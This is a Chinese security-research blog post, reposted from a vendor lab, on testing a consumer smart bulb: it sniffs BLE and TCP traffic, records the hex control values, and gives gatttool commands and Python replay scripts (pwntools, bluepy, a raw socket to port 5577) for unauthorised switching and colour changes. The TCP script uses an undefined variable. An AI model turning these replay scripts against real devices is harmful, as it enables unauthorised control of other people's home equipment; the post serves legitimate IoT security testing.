家用智能灯泡的控制功能安全测试

IoT 2年前 (2022) admin
688 0 0
前言
随着IOT技术的普及,智能家居设备在家庭中使用的也越来越多,例如智能灯泡、扫地机器人、智能音箱等智能设备都可以由一些专门的app进行统一的联网接管管理。本篇文章将以一款基于低功耗蓝牙的智能灯泡为例,展示其中可能存在的一些网络安全风险问题以及一些常规的劫持攻击方法。


实验准备

-所需工具

硬件工具:

NRF52832 Dongle

CSR8510蓝牙适配器

软件工具:

wireshark

gatttool

家用智能灯泡的控制功能安全测试


BLE监听环境

cp2102驱动下载:

https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers

Whireshark插件nrf sniffer:

https://www.nordicsemi.com/Software-and-Tools/Development-Tools/nRF-Sniffer/Download#infotab

  1. 1. 在wireshark中打开“关于”->”文件夹”->”Global Extcap path”将下载的nrf sniffer中的extcap中的文件复制于此。

  2. 家用智能灯泡的控制功能安全测试

  3. 2. 将Profile_nRF_Sniffer_Bluetooth_LE文件夹拷贝到profiles文件夹中,

  4. 家用智能灯泡的控制功能安全测试

  5. 随后在“配置文件”中设置新增的nRF_Sniffer配置文件。

家用智能灯泡的控制功能安全测试3. Python安装pyserial库

pip install pyserial>=3.4

https://files.pythonhosted.org/packages/1e/7d/ae3f0a63f41e4d2f6cb66a5b57197850f919f59e558159a4dd3a818f5082/pyserial-3.5.tar.gz


  1. 4.  最后可以再接口中看到nRF Sniffer的设备即完成wireshark的准备。


家用智能灯泡的控制功能安全测试



BLE数据包分析

  1. 1.  接入NRF52832 Dongle后在上方Device中选择要监听的目标设备(需要BLE设备处于活动状态),再对蓝牙主从机建立连接,之后就可以在CONNECT_IND包中看到相对应的通信信道所使用的情况,以及Bluetooth Attribute Protocol中可以看到通信的关键部分,如Opcode(具体的读写操作)、Handle(Characteristic,属性地址)、Value(数据值)。而本次分析的重点也在于Bluetooth Attribute Protocol协议层的会话传递过程。

  2. 家用智能灯泡的控制功能安全测试


2. 在ble设备与主机建立连接后便可以看到大量的数据包,会对需要重点关注的BLE相关会话分析造成很大影响,对此可以使用!(btle.length==0)来过滤掉所有的空包,btatt显示所有的att数据包。


3.在使用过滤指令后,尝试通过手机控制灯泡的开关,这时在Wireshark中就可以看到一些ATT的数据包,在为加密的情况下,可以直观的看到相关信息中写着“Sent Write Command…”。


4.而这些数据包的Bluetooth Attribute Protocol中Opcode代表着具体的执行操作,可以是write(cmd、req)、read(cmd、req)等操作。handle为写入的地址属性标识,也代表着控制蓝牙灯泡时的主要需要操作的指令,如灯泡开关、颜色、亮度等。

家用智能灯泡的控制功能安全测试


  1. 5.  通过多次发送开关请求分析可以发现在其中对应的handle:0x0011的value分别为下:

000180000003040a715495                开启灯光

000180000003040a712495                关闭灯光

家用智能灯泡的控制功能安全测试


  1. 6.  在得到这样的数值并且知道其属于service 0xffff的句柄ID为0x0011后,便可以尝试对其句柄value进行写入操作,进行数据请求的重放,从而实现未授权的远程控制灯泡开关操作。这里使用gatttool工具对其进行写入测试。

-通过primary查看相关的句柄属性。

家用智能灯泡的控制功能安全测试


-使用char-write-cmd 就可以直接向0x0011中写入数据。

> gatttool -b b4:e8:42:54:ba:ab -I
[b4:e8:42:54:ba:ab][LE]> connect
[b4:e8:42:54:ba:ab][LE]> char-write-cmd 0x0011 000180000003040a712495

家用智能灯泡的控制功能安全测试


7.并可以将过程编写为python脚本如下

 #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import sys
#context.log_level = "debug"
argv = ["gatttool","-b","b4:e8:42:54:ba:ab","-I"]
sh = process(argv)
sh.sendline("connect")
sh.recvuntil("Connection successful")
sh.recvuntil("[LE]> ")
#value = "000180000003040a712495" #off
#value = "000380000003040a712394" #on
sh.sendline("char-write-cmd 0x0011 000180000000010c")
sh.sendline("char-write-cmd 0x0011 00048000000e0f0ae00100a11e646400000000140000")
#sh.sendline("char-write-cmd 0x0011 "+sys.argv[1])
#for i in range(90):
#    sh.sendline("char-write-cmd 0x0011 000180000003040a712495")
#    sleep(2)
#    sh.sendline("char-write-cmd 0x0011 000380000003040a712394")
sh.interactive()
     也可以使用python的bluepy库进行编写
from bluepy.btle import *
import time
def hackFlow(conn, address):
    conn.waitForNotifications(2)
    conn.writeCharacteristic(0x0004, "x00x04", True)
    conn.writeCharacteristic(0x000f,"x00x01",True)
    conn.waitForNotifications(2)
    conn.writeCharacteristic(0x0011,"x00x01x80x00x00x02x03x01x22x22",True)
 
if __name__ == '__main__':

    devAddr = "b4:e8:42:54:ba:ab"
    addrType = ADDR_TYPE_PUBLIC
    time.sleep(1)
    conn = Peripheral(devAddr, addrType)
    try:
        hackFlow(conn,devAddr)
        print("vibering...")
    finally:
        print("disconnect...")
        conn.disconnect()


TCP 数据包分析
由于该智能灯泡同时支持wifi接入,因此除了对BLE的分析外,还可以尝试分析其TCP协议上的会话过程。

同样是通过wireshark进行抓包分析,在手机端接入PC的网络后,使用eth.src == 14:7d:da:5b:xx:xx && eth.dst ==b4:e8:42:54:ba:aa 进行过滤。

当使用手机开启灯光时可以直观的看到一条想5577端口请求的数据包,其中的data值为b0b1b2b30001022f000371239423。 那么对应的这个值便是控制灯光开启的参数了。

家用智能灯泡的控制功能安全测试

使用同样的方法测试APP中的其他功能,例如控制变换其他颜色,抓取到的对应值如下:
on = "b0b1b2b30001022f000371239423" # on
off = "b0b1b2b30001024500037124953b"
red = "b0b1b2b300010241000ee00100a10064640000000014000076" # red
blue = "b0b1b2b30001024a000ee00100a178646400000000140000f7"
green = "b0b1b2b30001024c000ee00100a13c646400000000140000bd"
最后编写Python脚本,就可以实现同一局域网下的未授权控制,控制灯光任意颜色或者开关。
from pwn import *
context.log_level = "debug"
sh= remote("192.168.31.177",5577)
on = "b0b1b2b30001022f000371239423" # on
off = "b0b1b2b30001024500037124953b"
red = "b0b1b2b300010241000ee00100a10064640000000014000076" # red
blue = "b0b1b2b30001024a000ee00100a178646400000000140000f7"
green = "b0b1b2b30001024c000ee00100a13c646400000000140000bd"
payload = test.decode('hex')
# payload = "xb0xb1xb2xb3x00x01x02x1ex00x03x71x23x94x12"
sh.send(payload)
sh.interactive()


家用智能灯泡的控制功能安全测试

家用智能灯泡的控制功能安全测试
END
       

原文始发于微信公众号(山石网科安全技术研究院):家用智能灯泡的控制功能安全测试

版权声明:admin 发表于 2022年11月2日 上午11:21。
转载请注明:家用智能灯泡的控制功能安全测试 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...